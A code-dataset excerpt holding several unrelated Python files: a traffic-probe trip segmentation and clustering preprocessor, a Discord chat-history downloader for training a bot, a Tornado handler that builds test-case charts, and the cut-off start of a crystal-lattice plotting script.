1\n raw_trip_deltas += trip_deltas\n\n \"\"\"\n ==================\n trip filtration\n ==================\n \n \"\"\"\n # Add trip to trips if it is valid\n if valid_trip_distance(trip.distance, min_trip_distance):\n if valid_trip_duration(trip, min_trip_duration):\n trips.append(trip)\n probe_deltas += trip_deltas\n trip_count += 1\n # Reset for new trip\n trip_deltas, speeds, data = [], [], []\n tripSIZE = 0\n previous_fixed_point = (previous_location, tdelta)\n # Add all probes that have raw_trips after for loop\n if len(raw_trips) > 0:\n if len(trips) > 0:\n deltas_list = probe_deltas\n else:\n deltas_list = raw_trip_deltas\n mean = round(Decimal(statistics.mean(deltas_list)), 3) # mean delta time for this trip\n median = statistics.median(deltas_list)\n all_probes[id] = AllTrips(Probes.provider, trips, raw_trips, min(deltas_list), max(deltas_list), mean,\n median)\n return all_probes\n\n\ndef trip_clustering(all_probes, clusterGAP, trip_type):\n clustered_probes = {}\n AllTrips = namedtuple('AllTrips', ['provider', 'trips', 'raw_trips', 'min', 'max', 'mean', 'median'])\n Trip = namedtuple('Trip', ['probe_id', 'provider', 'start_time', 'end_time', 'size', 'median_speed',\n 'med_speed_without_zero', 'data', 'distance', 'sample_rate', 'percent_clustered'])\n for probe_id, all_trips in all_probes.items():\n clustered_trips = []\n probe_deltas = []\n if trip_type == 'filtered':\n probe_trips = all_trips.trips\n else:\n probe_trips = all_trips.raw_trips\n for trip in probe_trips:\n provider = trip.provider\n tripSIZE = 0\n trip_deltas = []\n speeds = []\n data = []\n condense_low_speed_probes = False\n previous_delta = 0\n cluster_size = 0\n for i in range(1, trip.size, 1):\n def parked(location1, location2):\n return location1[0] == location2[0] and location1[1] == location2[1]\n def low_speed(current_speed):\n return current_speed <= 3\n current_data = trip.data[i]\n previous_data = trip.data[i - 1]\n probe_id = probe_id\n current_stamp, current_speed, current_location, current_heading = current_data[0], current_data[1], \\\n current_data[2], current_data[3]\n previous_stamp, previous_speed, previous_location, previous_heading = previous_data[0], previous_data[1], \\\n previous_data[2], previous_data[3]\n tdelta = (current_stamp - previous_stamp).total_seconds()\n\n if i == 1:\n trip_deltas.append(tdelta)\n speeds.append(current_speed)\n data.append([current_stamp, current_speed, current_location, current_heading])\n tripSIZE += 1\n elif parked(current_location, previous_location) or low_speed(current_speed):\n if i == trip.size - 1:\n if previous_delta + tdelta <= clusterGAP:\n # if we are the last data for this probe and need to add an incomplete cluster,\n # we need to pass in our current delta as prev_delta + tdelta\n trip_deltas.append(previous_delta + tdelta)\n speeds.append(current_speed)\n data.append([current_stamp, current_speed, current_location, current_heading])\n cluster_size += 1\n tripSIZE += 1\n else:\n # build two points: the first with prev_delta and i - 1 as the probe to take info from,\n # the second with tdelta and i as the probe to take info from\n trip_deltas.append(previous_delta)\n speeds.append(previous_speed)\n data.append([previous_stamp, previous_speed, previous_location, previous_heading])\n\n trip_deltas.append(tdelta)\n speeds.append(current_speed)\n data.append([current_stamp, current_speed, current_location, current_heading])\n tripSIZE += 2\n cluster_size += 1\n elif condense_low_speed_probes and (previous_delta + tdelta) <= maxGAP:\n previous_delta += tdelta\n cluster_size += 1\n elif not condense_low_speed_probes:\n # For edge case: first low_speed/static point after normal points\n # add the current tdelta and starting to condense the following points\n trip_deltas.append(tdelta)\n speeds.append(current_speed)\n data.append([current_stamp, current_speed, current_location, current_heading])\n tripSIZE += 1\n previous_delta = 0\n condense_low_speed_probes = True\n cluster_size += 1\n # end a cluster\n elif previous_delta + tdelta > maxGAP:\n trip_deltas.append(previous_delta)\n speeds.append(previous_speed)\n data.append([previous_stamp, previous_speed, previous_location, previous_heading])\n tripSIZE += 1\n cluster_size = 1\n previous_delta = tdelta\n else:\n # edge case: for the first normal point after a cluster,\n # we conclude the previous cluster before we add the current tdelta\n if previous_delta != 0:\n trip_deltas.append(previous_delta)\n speeds.append(previous_speed)\n data.append([previous_stamp, previous_speed, previous_location, previous_heading])\n cluster_size += 1\n tripSIZE += 1\n\n # Regardless of if there was a cluster before, we need to add the current\n # tdelta and probe i associated with it\n trip_deltas.append(tdelta)\n speeds.append(current_speed)\n data.append([current_stamp, current_speed, current_location, current_heading])\n tripSIZE += 1\n # Reset variables\n previous_delta = 0\n condense_low_speed_probes = False\n # clustered trip's start time and end time stay the same as that of unclustered trip.\n # use the unclustered trip's distance while building clustered trip\n # cluster_size is the total amount of points being clustered (removed) in current unclustered trip\n # tripSIZE is the number of points in a clustered trip\n med_speed = round(percentile(50, speeds), 3)\n median_delta = float(statistics.median(trip_deltas))\n probe_deltas += trip_deltas\n non_zero_speeds = [s for s in speeds if s > 0]\n if len(non_zero_speeds) == 0:\n med_speed_without_zero = 0\n else:\n med_speed_without_zero = round(percentile(50, non_zero_speeds), 3)\n sample_rate = 60.0 / median_delta\n distance = distance_traveled(speeds, trip_deltas)\n clustered_trip = Trip(probe_id=trip.probe_id, provider=trip.provider, start_time=trip.start_time, end_time=trip.end_time,\n size=tripSIZE, median_speed=med_speed, med_speed_without_zero=med_speed_without_zero, data=data, distance=distance,\n sample_rate=sample_rate,\n percent_clustered=float(cluster_size / trip.size))\n clustered_trips.append(clustered_trip)\n if probe_deltas != []:\n min_delta = min(probe_deltas)\n max_delta = max(probe_deltas)\n mean_delta = round(Decimal(statistics.mean(probe_deltas)), 3) # mean delta time for this trip\n median_delta = statistics.median(probe_deltas)\n clustered_probes[trip.probe_id] = AllTrips(provider, clustered_trips, all_trips.raw_trips, min_delta,\n max_delta, mean_delta, median_delta)\n return clustered_probes\n\n\"\"\" TRIP FILTRATION HELPER FUNCTIONS \"\"\"\n\ndef valid_trip_duration(trip, min_trip_duration):\n travel_time = (trip.end_time - trip.start_time).total_seconds()\n return travel_time >= min_trip_duration\n\ndef valid_trip_distance(distance_traveled, min_trip_distance):\n return distance_traveled >= min_trip_distance\n\ndef valid_trip_speed(med_speed, min_median_speed):\n return med_speed >= min_median_speed\n\ndef valid_heading(trip):\n \"\"\" Trip is valid if `percent_invalid` is less than `percentage` \"\"\"\n percentage = 0.9\n count_invalid = 0\n total_count = len(trip.data)\n for i in range(1, total_count):\n previous_probe = trip.data[i - 1]\n previous_speed = previous_probe[3]\n probe = trip.data[i]\n given_heading = previous_probe[2]\n if previous_speed == 0:\n continue\n calculated_heading = get_heading(previous_probe[0], probe[0])\n if abs(float(given_heading) - calculated_heading) > 90:\n count_invalid += 1\n percent_invalid = float(count_invalid) / float(total_count)\n if percent_invalid > percentage:\n return False\n return True\n\"\"\"\n===================================\nwrite the analysis results to files\n===================================\n\"\"\"\n\ndef writefile(probe_meta, trip_meta, processed, all_probes, trip_provider, filedate, cluster = False):\n \"\"\"\n Write processed data to files\n\n :param outputfile: file of sample rate analysis\n :param trip_meta: file of metadata for each processed trip\n :param processed: processed data points with trip id\n :param raw_trip_file: initially filtered data points with raw trip id\n\n \"\"\"\n write_probe_meta(probe_meta, all_probes)\n num_trips = write_trip_meta(trip_meta, all_probes, cluster)\n write_processed(processed, all_probes)\n return num_trips\n\ndef write_probe_meta(probe_meta, probes):\n with open(probe_meta, 'w') as dfile:\n probe_meta_writer = csv.DictWriter(dfile,delimiter=',', lineterminator='\\n',\n fieldnames=['probe id', 'provider', 'min delta', 'max delta', \n 'median delta','sample rate'])\n probe_meta_writer.writeheader()\n\n for probe_id, all_trips in probes.items():\n # Write sample rate and relevant data per probe id\n provider = all_trips.provider\n row = {}\n row['probe id'] = probe_id\n row['provider'] = provider\n row['min delta'] = all_trips.min\n row['max delta'] = all_trips.max\n row['median delta'] = all_trips.median\n row['sample rate'] = round(60.0 / float(all_trips.mean), 3)\n probe_meta_writer.writerow(row)\n\ndef write_trip_meta(trip_meta, probes, cluster):\n with open(trip_meta, 'w') as dfile:\n trip_meta_writer = csv.DictWriter(dfile,delimiter=',', lineterminator='\\n',\n fieldnames=['probe id','provider', 'start time', 'end time', 'trip size',\n 'duration (in min)', 'distance', 'median speed','median speed without zeros', \n 'sample rate', 'percent clustered', 'trip id'])\n trip_meta_writer.writeheader()\n trip_id = 0\n for probe_id, all_trips in probes.items():\n for trip in all_trips.trips:\n trip_id += 1\n row2 = {}\n row2['trip id'] = trip_id\n row2['probe id'] = probe_id\n row2['provider'] = trip.provider\n row2['start time'] = trip.start_time\n row2['end time'] = trip.end_time\n row2['trip size'] = trip.size\n row2['duration (in min)'] = (trip.end_time - trip.start_time).total_seconds() / 60.0\n row2['distance'] = trip.distance\n row2['median speed'] = trip.median_speed\n row2['median speed without zeros'] = trip.med_speed_without_zero\n row2['sample rate'] = trip.sample_rate\n if cluster:\n row2['percent clustered'] = round(trip.percent_clustered, 3)\n else:\n row2['percent clustered'] = 0\n trip_meta_writer.writerow(row2)\n return trip_id\n\ndef write_processed(processed, probes):\n with open(processed, 'w') as dfile:\n processed_writer = csv.DictWriter(dfile, delimiter=',', lineterminator='\\n',\n fieldnames=['PROBE_ID', 'SAMPLE_DATE', 'LAT', 'LON',\n 'HEADING', 'SPEED', 'PROBE_DATA_PROVIDER','TRIP_ID'])\n processed_writer.writeheader()\n trip_id = 0\n for probe_id, all_trips in probes.items():\n for trip in all_trips.trips:\n trip_id += 1\n for i in range(0, trip.size, 1):\n data = trip.data[i]\n loc = data[2]\n row3 = {}\n row3['PROBE_ID'] = probe_id\n row3['SAMPLE_DATE'] = data[0]\n row3['LAT'] = loc[0]\n row3['LON'] = loc[1]\n row3['HEADING'] = data[3]\n row3['SPEED'] = data[1]\n row3['PROBE_DATA_PROVIDER'] = all_trips.provider\n row3['TRIP_ID'] = trip_id\n processed_writer.writerow(row3)\n return trip_id\n\ndef write_raw_file(probes, trip_provider, filedate, raw_trip_file):\n with open(raw_trip_file, 'w') as dfile4:\n raw_trips_writer = csv.DictWriter(dfile4, delimiter=',', lineterminator='\\n',\n fieldnames=['PROBE_ID', 'SAMPLE_DATE', 'LAT',\n 'LON', 'HEADING', 'SPEED', 'PROBE_DATA_PROVIDER', 'TRIP_ID'])\n raw_trips_writer.writeheader()\n progress = 0\n raw_trip_id = 0\n for probe_id, all_trips in probes.items():\n # Write sample rate and relevant data per probe id\n provider = all_trips.provider\n # Write raw trips to file\n for raw_trip in all_trips.raw_trips:\n raw_trip_id += 1\n for i in range(0, raw_trip.size, 1):\n data = raw_trip.data[i]\n loc = data[2]\n row4 = {}\n row4['PROBE_ID'] = probe_id\n row4['SAMPLE_DATE'] = data[0]\n row4['LAT'] = loc[0]\n row4['LON'] = loc[1]\n row4['HEADING'] = data[3]\n row4['SPEED'] = data[1]\n row4['PROBE_DATA_PROVIDER'] = provider\n row4['TRIP_ID'] = raw_trip_id\n raw_trips_writer.writerow(row4)\n return raw_trip_id\n\n\"\"\"\nMain preprocess function\n\"\"\"\ndef preprocess(minSIZE, maxGAP, min_trip_duration, min_trip_distance, filedate, providertype,\n cluster=False, cluster_from='filtered'):\n output_folder = create_day_folder(filedate)\n\n def build_file(provider=\"\", output_file=\"\"):\n return os.path.join(output_folder, output_file + filedate + provider + \".waynep1.csv\")\n\n bounding_box = build_file(output_file='bounding_box_.')\n\n filtered1 = build_file(output_file=\"filtered_.\")\n filtered2 = build_file(\"CONSUMER\", \"filtered_.\")\n filtered3 = build_file(\"FLEET\", \"filtered_.\")\n\n raw_trips1 = build_file(output_file=\"raw_trips_I210.\")\n raw_trips2 = build_file(\"CONSUMER\", output_file=\"raw_trips_I210.\")\n raw_trips3 = build_file(\"FLEET\", output_file=\"raw_trips_I210.\")\n\n probe_meta1 = build_file(output_file=\"probe_meta_I210.\")\n probe_meta2 = build_file(\"CONSUMER\", \"probe_meta_I210.\")\n probe_meta3 = build_file(\"FLEET\", \"probe_meta_I210.\")\n\n trip_meta1 = build_file(output_file=\"trip_meta_I210.\")\n trip_meta2 = build_file(\"CONSUMER\", output_file=\"trip_meta_I210.\")\n trip_meta3 = build_file(\"FLEET\", output_file=\"trip_meta_I210.\")\n\n processed1 = build_file(output_file=\"processed_I210.\")\n processed2 = build_file(\"CONSUMER\", output_file=\"processed_I210.\")\n processed3 = build_file(\"FLEET\", output_file=\"processed_I210.\")\n\n clustered1 = build_file(output_file=\"processed_clustered_I210.\")\n clustered2 = build_file(\"CONSUMER\", output_file=\"processed_clustered_I210.\")\n clustered3 = build_file(\"FLEET\", output_file=\"processed_clustered_I210.\")\n clustered_trip_meta1 = build_file(output_file=\"clustered_trip_meta_I210.\")\n clustered_trip_meta2 = build_file(\"CONSUMER\", output_file=\"clustered_trip_meta_I210.\")\n clustered_trip_meta3 = build_file(\"FLEET\", output_file=\"clustered_trip_meta_I210.\")\n clustered_probe_meta1 = build_file(output_file=\"clustered_probe_meta_I210.\")\n clustered_probe_meta2 = build_file(\"CONSUMER\", \"clustered_probe_meta_I210.\")\n clustered_probe_meta3 = build_file(\"FLEET\", \"clustered_probe_meta_I210.\")\n\n if providertype == 'OVERAL':\n provider_filter = lambda provider: provider[0:5] == 'CONSU' or provider[0:5] == 'FLEET'\n filtered = filtered1\n probe_meta = probe_meta1\n raw_trip_file = raw_trips1\n trip_meta = trip_meta1\n processed = processed1\n clustered = clustered1\n clustered_probe_meta = clustered_probe_meta1\n clustered_trip_meta = clustered_trip_meta1\n\n elif providertype == 'CONSU':\n provider_filter = lambda provider: provider[0:5] == 'CONSU'\n filtered = filtered2\n probe_meta = probe_meta2\n raw_trip_file = raw_trips2\n trip_meta = trip_meta2\n processed = processed2\n clustered = clustered2\n clustered_probe_meta = clustered_probe_meta2\n clustered_trip_meta = clustered_trip_meta2\n\n elif providertype == 'FLEET':\n provider_filter = lambda provider: provider[0:5] == 'FLEET'\n filtered = filtered3\n probe_meta = probe_meta3\n raw_trip_file = raw_trips3\n trip_meta = trip_meta3\n processed = processed3\n clustered = clustered3\n clustered_probe_meta = clustered_probe_meta3\n clustered_trip_meta = clustered_trip_meta3\n\n else:\n raise ValueError('type can only be CONSU, FLEET or OVERAL')\n\n # If filtered file was already made, use it for further processing\n if is_not_empty(filtered):\n starting_file = filtered\n else:\n starting_file = build_raw_data(filedate)\n\n # FILTER box\n all_timestamps = filtering_and_timestamp_generation(starting_file, filtered, provider_filter, bounding_box)\n\n # TRIP SEGMENTATION AND TRIP FILTERING\n all_probes = tripsegmentation(all_timestamps, minSIZE, maxGAP, min_trip_duration,\n min_trip_distance, filedate, providertype)\n\n num_raw_trips = write_raw_file(all_probes, providertype, filedate, raw_trip_file)\n\n # OPTIONAL CLUSTERING\n if cluster:\n clustered_probes = trip_clustering(all_probes, maxGAP, cluster_from)\n num_trips = writefile(clustered_probe_meta, clustered_trip_meta, clustered, clustered_probes,\n providertype, filedate, cluster)\n # WRITE TO FILES\n else:\n num_trips = writefile(probe_meta, trip_meta, processed, all_probes,\n providertype, filedate)\n\n print('There were', num_raw_trips, ' raw trips(' + str(providertype) + ') on ' + str(filedate) + '.')\n print('There were', num_trips, ' trips(' + str(providertype) + ') on ' + str(filedate) + '.')\n return (num_trips, num_raw_trips)\n\n# def exit_handler():\n# print('if the current file is partially done, please delete all its generated files '\n# 'and rerun the date in progress to prevent preprocessing errors.')\n\n# atexit.register(exit_handler)\n\nif __name__ == \"__main__\":\n \"\"\"\n >>> python preprocess.py data_raw 20171001 20171022\n Runs preprocessing from <start_date> to <end_date>, with data starting from data_raw or analysis_output\n If only <start_date> is provided, then only runs preprocessing on that date.\n\n \"\"\"\n minSIZE = 5\n maxGAP = 240\n min_trip_distance = 1000 # minimum number of feet for a trip to be considered valid\n min_trip_duration = 180 # minimum number of seconds for a trip to be considered valid\n\n data_start = sys.argv[1]\n data_location = os.path.join(directory, data_start)\n filedates = clean_filedates(sys.argv[2:])\n start_date = filedates[0]\n if len(sys.argv) > 3:\n end_date = filedates[1]\n print(\"Preprocessing data from {0} to {1}\".format(start_date, end_date))\n else:\n end_date = start_date\n print(\"Preprocessing data from {0}\".format(start_date))\n curr_date = start_date\n curr_year, curr_month = curr_date[-8:-4], curr_date[-4:-2]\n end_year, end_month = end_date[-8:-4], end_date[-4:-2]\n furthest_date_seen = start_date\n\n while curr_month <= end_month or curr_year < end_year:\n month_folder = digit_month_folder(curr_date)\n if not os.path.exists(os.path.join(analysis_output, month_folder)):\n try:\n os.makedirs(os.path.join(analysis_output, month_folder))\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n data_input_path = os.path.join(data_location, month_folder)\n for date in os.listdir(data_input_path):\n # if data_input_path is analysis_output, the 'date' will be the name of the day folder.\n # Otherwise, need to get date out of probe_data_I210.<date>.waynep1.csv format\n if data_start == 'data_raw':\n date = date[-20:-12]\n if date >= start_date and date <= end_date:\n try: \n print(\"\\nRunning preprocess on\", date)\n\n\n preprocess(minSIZE, maxGAP, min_trip_duration, min_trip_distance, date, 'CONSU', cluster=False)\n preprocess(minSIZE, maxGAP, min_trip_duration, min_trip_distance, date, 'FLEET', cluster=False)\n except FileNotFoundError:\n print(\"Unable to preprocess {0}: data from {0} was not found.\".format(date))\n if date > furthest_date_seen:\n furthest_date_seen = date\n months_dict = {'1': '01', '2': '02', '3':'03', '4':'04', '5':'05', '6':'06', '7':'07',\n '8':'08', '9':'09', '10':'10', '11':'11', '12':'12'}\n if curr_month == '12':\n next_month = '01'\n next_year = str(int(curr_year) + 1)\n else:\n next_month = months_dict[str(int(curr_month) + 1)]\n next_year = curr_year\n curr_year, curr_month = next_year, next_month\n curr_date = curr_year + curr_month + '01'\n","repo_name":"lijiayi9712/PATH_project","sub_path":"SampleRateAnalysis/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":35924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"316690435","text":"# This script can be used to download chat history,\n# so that the data can be used for training a custom model\n\nimport json\nimport discord\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n# -----------------------------------------------------------------------------\nGUILD_NAME = \"\" # Name of the guild, which you want to download\nMESSAGE_LIMIT_PER_CHANNE = 1000 # Number of messages to download per channel\nREPLACE_NAME = \"\" # name of a user, which you want to train the bot to respond as\nBOT_NAME = os.environ.get('BOT_NAME')\n# -----------------------------------------------------------------------------\n\n# set up discord client\nclient = discord.Client()\n\n# on login\n@client.event\nasync def on_ready():\n print(\"bot ready\")\n\n # get guild by name\n guild = discord.utils.get(client.guilds, name=GUILD_NAME)\n\n # get all channels\n all_messages = []\n\n for channel in guild.text_channels:\n print(channel.name)\n\n # get all messages\n history = await channel.history(limit=MESSAGE_LIMIT_PER_CHANNE).flatten()\n history.reverse()\n\n ch_messages = []\n\n for m in history:\n author = m.author.name\n content = m.content\n\n # replace mention IDs with names\n for mention in m.mentions:\n content = content.replace(f\"<@!{mention.id}>\", mention.name)\n\n # replace the name of a user with the name of the bot\n # so that the prompts later are lined up with the training data\n if REPLACE_NAME != \"\":\n author = author.replace(REPLACE_NAME, BOT_NAME)\n content = content.replace(REPLACE_NAME, BOT_NAME)\n\n # build output\n out = [author, content]\n\n # return\n ch_messages.append(out)\n\n # save channel messages to file\n # with open(f\"{channel.name}.history.txt\", \"w\", encoding=\"utf-8\") as f:\n # for m in ch_messages:\n # f.write(f\"{m}\\n\")\n\n all_messages.extend(ch_messages)\n\n # save all messages to file\n with open(\"all.history.json\", \"w\", encoding=\"utf-8\") as f:\n f.write(json.dumps(all_messages))\n\n print(\"done\")\n\n \n\n# start the bot\nDISCORD_TOKEN = os.environ.get('DISCORD_TOKEN')\nclient.run(DISCORD_TOKEN)","repo_name":"laczbali/smart-discord","sub_path":"get_history.py","file_name":"get_history.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72733916733","text":"# -*- coding:utf-8 -*-\n\"\"\"\nCreated on 2015.05.22\n\n@author: SissiWu\n\"\"\"\nimport tornado\n\nfrom com.boyaa.RainbowCenter.manager.testcase_manager import TestCaseManager\nfrom com.boyaa.RainbowCenter.web.handler.base import BaseHandler\n# from com.boyaa.RainbowCenter.manager.plan_manager import PlanManager\n\ncolors = [\n {'color' : \"#F7464A\", 'highlight' : \"#FF5A5E\"},\n {'color' : \"#46BFBD\", 'highlight' : \"#5AD3D1\"},\n {'color' : \"#FDB45C\", 'highlight' : \"#FFC870\"},\n {'color' : \"#949FB1\", 'highlight' : \"#A8B3C5\"},\n {'color' : \"#4D5360\", 'highlight' : \"#616774\"}\n]\ncolor_len = len(colors)\n\nclass MainHandler(BaseHandler):\n\n __case_manager = TestCaseManager()\n # __plan_manager = PlanManager()\n \n def __init__(self, *argc, **argkw):\n super(MainHandler, self).__init__(*argc, **argkw)\n self.case_manager = self.__case_manager\n # self.plan_manager = self.__plan_manager\n\n def get(self, param=None):\n if not param:\n param = 'index'\n self.post(param)\n \n @tornado.web.authenticated\n def post(self, param):\n self.log.debug('param = %s' % param)\n switch = {\n 'init_index' : self.init_index\n }\n if param in switch:\n switch[param]()\n else:\n url = '%s.html' % param\n self.render(url)\n\n def init_index(self):\n result = {}\n result['case_summary'] = self.__case_summary()\n result['case_coverage'] = self.__case_coverage_rate()\n \n self.result(0, \"\", result)\n\n def __case_summary(self):\n chart_data = []\n case_list = self.case_manager.get_case_sum_by_condition()\n case_sum = {}\n for case_item in case_list:\n project_id = case_item['project_id']\n case = None\n key = str(project_id)\n if key in case_sum:\n case = case_sum[key]\n case['count'] = case['count'] + 1\n else:\n case = {}\n case['project_name'] = case_item['project_name']\n case['count'] = 1\n \n case_sum[key] = case\n \n i = 1\n for project_id in case_sum:\n data = {}\n data['value'] = case_sum[project_id]['count']\n data['label'] = case_sum[project_id]['project_name']\n data['color'] = colors[i%color_len]['color']\n data['highlight'] = colors[i%color_len]['highlight']\n i += 1\n chart_data.append(data)\n return chart_data\n \n def __case_coverage_rate(self):\n chart_data = []\n case_count = self.case_manager.get_case_count()\n # rel_case_count = self.plan_manager.get_rel_case_count()\n rel_case_count = 0 #临时\n covered_data = {\n 'value' : rel_case_count,\n 'label' : '已覆盖',\n 'color' : colors[0]['color'],\n 'highlight' : colors[0]['highlight']\n }\n chart_data.append(covered_data)\n \n not_covered_data = {\n 'value' : case_count - rel_case_count,\n 'label' : '未覆盖',\n 'color' : colors[1]['color'],\n 'highlight' : colors[1]['highlight']\n }\n chart_data.append(not_covered_data)\n \n return chart_data","repo_name":"huangtao/tonardo_test","sub_path":"com/boyaa/RainbowCenter/web/handler/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19722202352","text":"######################################################\n# Ben Palmer University of Birmingham 2020\n# Free to use\n######################################################\n\nimport numpy\nfrom pwscf_output import pwscf_output\nfrom file_type import file_type\nfrom line import line\n\nclass crystal:\n\n @staticmethod\n def make(crys_in):\n cmd_lines = []\n \n # defaults\n crys = { \n 'type': ['bcc'],\n 'x': [0.0],\n 'y': [0.0],\n 'z': [0.0],\n 'cx': [1],\n 'cy': [1],\n 'cz': [1],\n 'a': [1.0],\n 'b': [1.0],\n 'c': [1.0],\n 'alpha': [90.0],\n 'beta': [90.0],\n 'gamma': [90.0],\n 'colour': ['#000000'],\n 'r': 1,\n 'lines_vertex': ['#000000','none','solid'],\n 'lines_subcells': ['#000000','none','solid'],\n 'lines_diag': ['#000000','none','solid'],\n 'v': [],\n 'i': [],\n 'iline': [],\n 'ilines': [],\n 'l': [],\n 'lines': [],\n 'vacancy': [],\n 'interstitial': [],\n 'interstitial_xyz': [],\n 'file': None,\n 'file_xyz': None,\n } \n \n for k in crys.keys(): \n if(k in crys_in.keys()):\n crys[k] = crys_in[k]\n \n \n # Is the crystal in a file?\n crys = crystal.read_file(crys) \n \n # Type\n ctype = crys['type'][0]\n \n # Corner\n x = float(crys['x'][0])\n y = float(crys['y'][0])\n z = float(crys['z'][0])\n \n # Side lengths\n a = float(crys['a'][0])\n b = float(crys['b'][0])\n c = float(crys['c'][0])\n \n # Side angles\n alpha = numpy.deg2rad(float(crys['alpha'][0]))\n beta = numpy.deg2rad(float(crys['beta'][0]))\n gamma = numpy.deg2rad(float(crys['gamma'][0]))\n \n \n # Crystal copies\n cx = int(crys['cx'][0])\n cy = int(crys['cy'][0])\n cz = int(crys['cz'][0])\n \n # Radius\n r = crys['r'][0] \n \n # Colour\n colour = crys['colour'] \n \n # Read Vacancies\n if(len(crys['v']) >= 3):\n if(crys['v'][0] == 'v'):\n for v in crys['v']:\n if(len(v) >= 3):\n crys['vacancy'].append(v)\n else:\n v = crys['v']\n if(len(v) >= 3):\n crys['vacancy'].append(v)\n \n # Interstitials\n if(len(crys['i']) >= 3):\n if(crys['i'][0] == 'i'):\n for interstitial_t in crys['i']:\n if(len(interstitial_t) >= 3):\n try:\n interstitial = [[None],[None],[None],[],[],[]] # x y z colour lines/nolines key\n if(len(interstitial_t)>=3):\n interstitial[0] = float(interstitial_t[0])\n interstitial[1] = float(interstitial_t[1])\n interstitial[2] = float(interstitial_t[2])\n if(len(interstitial_t)>=4):\n interstitial[3] = str(interstitial_t[3])\n else:\n interstitial[3] = '#666666'\n if(len(interstitial_t)>=5):\n interstitial[4] = str(interstitial_t[4]).lower()\n else:\n interstitial[4] = 'nolines'\n if(len(interstitial_t)>=6):\n interstitial[5] = str(interstitial_t[5]).lower()\n if(interstitial[5] == 0 or interstitial[5] == 'none'):\n interstitial[5] = None\n else:\n interstitial[5] = None\n crys['interstitial'].append(interstitial) \n except:\n pass\n else:\n interstitial_t = crys['i']\n if(len(interstitial_t) >= 3):\n try:\n interstitial = [[],[],[],[],[],[]] # x y z colour lines/nolines key\n if(len(interstitial_t)>=3):\n interstitial[0] = float(interstitial_t[0])\n interstitial[1] = float(interstitial_t[1])\n interstitial[2] = float(interstitial_t[2]) \n if(len(interstitial_t)>=4):\n interstitial[3] = str(interstitial_t[3])\n else:\n interstitial[3] = '#666666'\n if(len(interstitial_t)>=5):\n interstitial[4] = str(interstitial_t[4]).lower()\n else:\n interstitial[4] = 'nolines'\n if(len(interstitial_t)>=6):\n interstitial[5] = str(interstitial_t[5]).lower()\n if(interstitial[5] == 0 or interstitial[5] == 'none'):\n interstitial[5] = None\n else:\n interstitial[5] = None\n crys['interstitial'].append(interstitial) \n except:\n pass \n \n # Interstitial Lines\n if(len(crys['iline']) >= 2): \n if(crys['iline'][0] == 'iline'):\n for iline_t in crys['iline'][1:]:\n if(len(iline_t) >= 2 and iline_t[0] != 'iline'):\n try:\n iline = [[None],[None],[],[],[]] # key1 key2 colour weight type \n if(len(iline_t)>=2):\n iline[0] = iline_t[0]\n iline[1] = iline_t[1]\n if(len(iline_t)>=3):\n iline[2] = str(iline_t[2])\n else:\n iline[2] = '#666666'\n if(len(iline_t)>=4):\n iline[3] = str(iline_t[3])\n else:\n iline[3] = 'thin'\n if(len(iline_t)>=5):\n iline[4] = str(iline_t[4])\n else:\n iline[4] = 'solid'\n crys['ilines'].append(iline) \n except:\n pass\n else:\n iline_t = crys['iline']\n if(len(iline_t) >= 2):\n try:\n iline = [[],[],[],[],[]] # key1 key2 colour weight type \n if(len(iline_t)>=2):\n iline[0] = iline_t[0]\n iline[1] = iline_t[1] \n if(len(iline_t)>=3):\n iline[2] = str(iline_t[2])\n else:\n iline[2] = '#666666'\n if(len(iline_t)>=4):\n iline[3] = str(iline_t[3])\n else:\n iline[3] = 'thin'\n if(len(iline_t)>=5):\n iline[4] = str(iline_t[4])\n else:\n iline[4] = 'solid'\n crys['ilines'].append(iline) \n except:\n pass \n \n # Interstitial Lines\n if(len(crys['l']) >= 2): \n if(crys['l'][0] == 'l'):\n for iline_t in crys['l'][1:]:\n if(len(iline_t) >= 2 and iline_t[0] != 'l'):\n crys['lines'].append(line.read_details(iline_t, [iline_t[0],iline_t[1],iline_t[2]], [iline_t[3],iline_t[4],iline_t[5]])) \n else:\n iline_t = crys['l']\n if(len(iline_t) >= 2):\n crys['lines'].append(line.read_details(iline_t, [iline_t[0],iline_t[1],iline_t[2]], [iline_t[3],iline_t[4],iline_t[5]])) \n \n \n\n # Make Crystal\n if(ctype == \"sc\"):\n atoms_t = crystal.make_sc(cx, cy, cz)\n elif(ctype == \"bcc\"):\n atoms_t = crystal.make_bcc(cx, cy, cz)\n elif(ctype == \"fcc\"):\n atoms_t = crystal.make_fcc(cx, cy, cz)\n elif(ctype == \"ec\"):\n atoms_t = crystal.make_ec(cx, cy, cz)\n elif(ctype == \"zb\"):\n atoms_t = crystal.make_zb(cx, cy, cz)\n elif(ctype == \"file\"):\n atoms_t = crys['file_atoms_expanded']\n else:\n return cmd_lines\n \n # Make atoms and atoms_xyz lists\n atoms = [] \n atoms_xyz = [] \n atoms_colours = [] \n interstitial_xyz = []\n for i in range(len(atoms_t)):\n x, y, z = crystal.ctransform(atoms_t[i][0], atoms_t[i][1], atoms_t[i][2], a, b, c, alpha, beta, gamma) \n this_colour = colour[i % len(colour)]\n # Check for vacancies\n vacancy = False\n for v in crys['vacancy']:\n if(abs(x - float(v[0])) <= 1.0e-5 and abs(y - float(v[1])) <= 1.0e-5 and abs(z - float(v[2])) <= 1.0e-5):\n vacancy = True \n if(vacancy == False):\n atoms.append(atoms_t[i]) \n atoms_xyz.append([x,y,z])\n atoms_colours.append(this_colour)\n \n # Line Interstitials (these may have grid lines drawn to them)\n for i in crys['interstitial']:\n if(i[4].lower() == \"lines\"):\n x, y, z = crystal.ctransform(i[0], i[1], i[2], a, b, c, alpha, beta, gamma) \n atoms.append([i[0], i[1], i[2]]) \n atoms_xyz.append([x,y,z])\n atoms_colours.append(i[3])\n try:\n interstitial_xyz.append([i[5],x,y,z])\n except:\n interstitial_xyz.append([None,x,y,z])\n \n \n min_r, max_r = crystal.neighbour_list(atoms_xyz) \n if(r == 'auto'):\n r = 0.45 * min_r\n \n # Spheres\n for i in range(len(atoms)):\n x, y, z = 